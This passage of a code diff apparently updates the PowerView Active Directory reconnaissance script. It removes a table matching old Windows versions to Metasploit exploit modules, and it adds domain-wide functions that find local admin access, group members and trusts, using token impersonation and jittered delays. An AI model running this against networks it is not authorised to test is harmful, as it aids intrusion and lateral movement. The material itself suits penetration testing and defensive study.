2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - - # Status user - Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..." - - # ---------------------------------------------------------------- - # Setup data table to store vulnerable systems - # ---------------------------------------------------------------- - - # Create data table to house vulnerable server list - $TableVulnComputers = New-Object System.Data.DataTable - $Null = $TableVulnComputers.Columns.Add('ComputerName') - $Null = $TableVulnComputers.Columns.Add('OperatingSystem') - $Null = $TableVulnComputers.Columns.Add('ServicePack') - $Null = $TableVulnComputers.Columns.Add('LastLogon') - $Null = $TableVulnComputers.Columns.Add('MsfModule') - $Null = $TableVulnComputers.Columns.Add('CVE') - - # Iterate through each exploit - $TableExploits | ForEach-Object { - - $ExploitOS = $_.OperatingSystem - $ExploitSP = $_.ServicePack - $ExploitMsf = $_.MsfModule - $ExploitCVE = $_.CVE - - # Iterate through each ADS computer - $TableAdsComputers | ForEach-Object { - - $AdsHostname = $_.Hostname - $AdsOS = $_.OperatingSystem - $AdsSP = $_.ServicePack - $AdsLast = $_.LastLogon - - # Add exploitable systems to vul computers data table - if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) { - # Add domain computer to data table - $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) - } - } - } - - # Display results - $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object - $VulnComputerCount = $VulnComputer.Count - - if ($VulnComputer.Count -gt 0) { - # Return vulnerable server list order with some hack date casting - Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" - $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-LocalAdminAccess] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # check if the current user has local admin access to this server + $Access = Test-AdminAccess -ComputerName $TargetComputer + if ($Access.IsAdmin) { + $TargetComputer + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } } - else { - Write-Verbose "[-] No vulnerable systems were found." + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken + } + } + else { + Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } } } -function Invoke-EnumerateLocalAdmin { +function Find-DomainLocalGroupMember { <# - .SYNOPSIS +.SYNOPSIS + +Enumerates the members of specified local group (default administrators) +for all the targeted machines on the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the members of the specified local +group (default of Administrators) for each machine using Get-NetLocalGroupMember. +By default, the API method is used, but this can be modified with '-Method winnt' +to use the WinNT service provider. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain - This function queries the domain for all active machines with - Get-NetComputer, then for each server it queries the local - Administrators with Get-NetLocalGroup. +Specifies the domain to query for computers, defaults to the current domain. - Author: @harmj0y - License: BSD 3-Clause +.PARAMETER ComputerLDAPFilter - .PARAMETER ComputerName +Specifies an LDAP query string that is used to search for computer objects. - Host array to enumerate, passable on the pipeline. +.PARAMETER ComputerSearchBase - .PARAMETER ComputerFile +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - File of hostnames/IPs to search. +.PARAMETER ComputerOperatingSystem - .PARAMETER ComputerFilter +Search computers with a specific operating system, wildcards accepted. - Host filter name to query AD for, wildcards accepted. +.PARAMETER ComputerServicePack - .PARAMETER ComputerADSpath +Search computers with a specific service pack, wildcards accepted. - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER ComputerSiteName - .PARAMETER NoPing +Search computers in the specific AD Site name, wildcards accepted. - Switch. Don't ping each host to ensure it's up before enumerating. +.PARAMETER GroupName - .PARAMETER Delay +The local group name to query for users. If not given, it defaults to "Administrators". - Delay between enumerating hosts, defaults to 0 +.PARAMETER Method - .PARAMETER Jitter +The collection method to use, defaults to 'API', also accepts 'WinNT'. - Jitter for the host delay, defaults to +/- 0.3 +.PARAMETER Server - .PARAMETER OutFile +Specifies an Active Directory server (domain controller) to bind to. - Output results to a specified csv output file. +.PARAMETER SearchScope - .PARAMETER NoClobber +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - Switch. Don't overwrite any existing output file. +.PARAMETER ResultPageSize - .PARAMETER TrustGroups +Specifies the PageSize to set for the LDAP searcher object. - Switch. Only return results that are not part of the local machine - or the machine's domain. Old Invoke-EnumerateLocalTrustGroup - functionality. - - .PARAMETER DomainOnly +.PARAMETER ServerTimeLimit - Switch. Only return domain (non-local) results +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER Domain +.PARAMETER Tombstone - Domain to query for machines, defaults to the current domain. - - .PARAMETER DomainController +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - Domain controller to reflect LDAP queries through. +.PARAMETER Credential - .PARAMETER SearchForest +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - Switch. Search all domains in the forest for target users instead of just - a single domain. +.PARAMETER Delay - .PARAMETER API +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - Switch. Use API calls instead of the WinNT service provider. Less information, - but the results are faster. +.PARAMETER Jitter - .PARAMETER Threads +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - The maximum concurrent threads to execute. +.PARAMETER Threads - .EXAMPLE +The number of threads to use for user searching, defaults to 20. - PS C:\> Invoke-EnumerateLocalAdmin +.EXAMPLE - Enumerates the members of local administrators for all machines - in the current domain. +Find-DomainLocalGroupMember - .EXAMPLE +Enumerates the local group memberships for all reachable machines in the current domain. - PS C:\> Invoke-EnumerateLocalAdmin -Threads 10 +.EXAMPLE - Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded +Find-DomainLocalGroupMember -Domain dev.testlab.local - .LINK +Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. - http://blog.harmj0y.net/ +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred + +Enumerates the local group memberships for all reachable machines the dev.testlab.local +domain using the alternate credentials. + +.OUTPUTS + +PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, + $ComputerSearchBase, - [Double] - $Jitter = .3, + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] [String] - $OutFile, + $ComputerServicePack, - [Switch] - $NoClobber, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, - [Switch] - $TrustGroups, + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', - [Switch] - $DomainOnly, + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Domain, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, + $SearchScope = 'Subtree', - [Switch] - $SearchForest, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,100)] + [ValidateRange(1, 10000)] [Int] - $Threads, + $ServerTimeLimit, [Switch] - $API - ) + $Tombstone, - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay" + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, - if(!$ComputerName) { - [array]$ComputerName = @() + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName } - - # delete any existing output file if it already exists - if(!$NoClobber) { - if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + else { + Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } - - if($TrustGroups) { - - Write-Verbose "Determining domain trust groups" - - # find all group names that have one or more users in another domain - $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique - - $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object { - # ignore the builtin administrators group for a DC (S-1-5-32-544) - # TODO: ignore all default built in sids? - Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid } - } - - # query for the primary domain controller so we can extract the domain SID for filtering - $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController + Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainLocalGroupMember] No hosts found to enumerate' } - # script block that enumerates a server + # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { - param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) + Param($ComputerName, $GroupName, $Method, $TokenHandle) - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } - if($Up) { - # grab the users for the local admins on this server - if($API) { - $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API - } - else { - $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName - } - - # if we just want to return cross-trust users - if($DomainSID) { - # get the local machine SID - $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" - Write-Verbose "LocalSid for $ComputerName : $LocalSID" - # filter out accounts that begin with the machine SID and domain SID - # but preserve any groups that have users across a trust ($TrustGroupSIDS) - $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } - } - - if($DomainOnly) { - $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} - } - if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { - # output the results to a csv if specified - if($OutFile) { - $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile - } - else { - # otherwise return the user objects - $LocalAdmins + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $NetLocalGroupMemberArguments = @{ + 'ComputerName' = $TargetComputer + 'Method' = $Method + 'GroupName' = $GroupName } - } - else { - Write-Verbose "[!] No users returned from $ComputerName" + Get-NetLocalGroupMember @NetLocalGroupMemberArguments } } - } - } - - process { - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'OutFile' = $OutFile - 'DomainSID' = $DomainSID - 'TrustGroupsSIDs' = $TrustGroupsSIDs + if ($TokenHandle) { + Invoke-RevertToSelf } + } - # kick off the threaded script block + arguments - if($API) { - $ScriptParams['API'] = $True + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } - - if($DomainOnly) { - $ScriptParams['DomainOnly'] = $True + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } - - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } + } - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter" $Counter = 0 + $RandNo = New-Object System.Random - ForEach ($Computer in $ComputerName) { - + ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) + Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'GroupName' = $GroupName + 'Method' = $Method + 'TokenHandle' = $LogonToken } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken } } } @@ -12515,99 +16882,197 @@ function Invoke-EnumerateLocalAdmin { # ######################################################## -function Get-NetDomainTrust { +function Get-DomainTrust { <# - .SYNOPSIS +.SYNOPSIS - Return all domain trusts for the current domain or - a specified domain. +Return all domain trusts for the current domain or a specified domain. - .PARAMETER Domain +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect - The domain whose trusts to enumerate, defaults to the current domain. +.DESCRIPTION - .PARAMETER DomainController +This function will enumerate domain trust relationships for the current (or a remote) +domain using a number of methods. By default, the .NET method GetAllTrustRelationships() +is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -LDAP flag +is specified, or any of the LDAP-appropriate parameters, an LDAP search using the filter +'(objectClass=trustedDomain)' is used instead. If the -API flag is specified, the +Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead. - Domain controller to reflect LDAP queries through. +.PARAMETER Domain - .PARAMETER ADSpath +Specifies the domain to query for trusts, defaults to the current domain. - The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local". - Useful for global catalog queries ;) +.PARAMETER API - .PARAMETER API +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in +.NET methods. - Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. +.PARAMETER LDAP - .PARAMETER LDAP +Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. +.PARAMETER LDAPFilter - .PARAMETER PageSize +Specifies an LDAP query string that is used to filter Active Directory objects. - The PageSize to set for the LDAP searcher object. +.PARAMETER Properties - .EXAMPLE +Specifies the properties of the output object to retrieve from the server. - PS C:\> Get-NetDomainTrust +.PARAMETER SearchBase - Return domain trusts for the current domain using built in .NET methods. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .EXAMPLE +.PARAMETER Server - PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" +Specifies an Active Directory server (domain controller) to bind to. - Return domain trusts for the "prod.testlab.local" domain using .NET methods +.PARAMETER SearchScope - .EXAMPLE +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" +.PARAMETER ResultPageSize - Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP - queries, reflecting queries through the "Primary.testlab.local" domain controller, - using .NET methods. +Specifies the PageSize to set for the LDAP searcher object. - .EXAMPLE +.PARAMETER ServerTimeLimit - PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local" +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. +.PARAMETER Tombstone - .EXAMPLE +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local +.PARAMETER FindOne - Return domain trusts reachable from the WINDOWS2 machine through API calls. -#> +Only return one result object. - [CmdletBinding()] - param( - [Parameter(Position=0, ValueFromPipeline=$True)] - [String] - $Domain, +.PARAMETER Credential - [String] - $DomainController, +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrust + +Return domain trusts for the current domain using built in .NET methods. + +.EXAMPLE + +Get-DomainTrust -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain using .NET methods + +.EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrust -LDAP -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred + +Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP +queries, binding to the PRIMARY.testlab.local server for queries, and using the specified +alternate credenitals. + +.EXAMPLE + +Get-DomainTrust -API -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. + +.OUTPUTS + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'NET')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] [String] - $ADSpath, + $Domain, + [Parameter(ParameterSetName = 'API')] [Switch] $API, + [Parameter(ParameterSetName = 'LDAP')] [Switch] $LDAP, - [ValidateRange(1,10000)] + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] 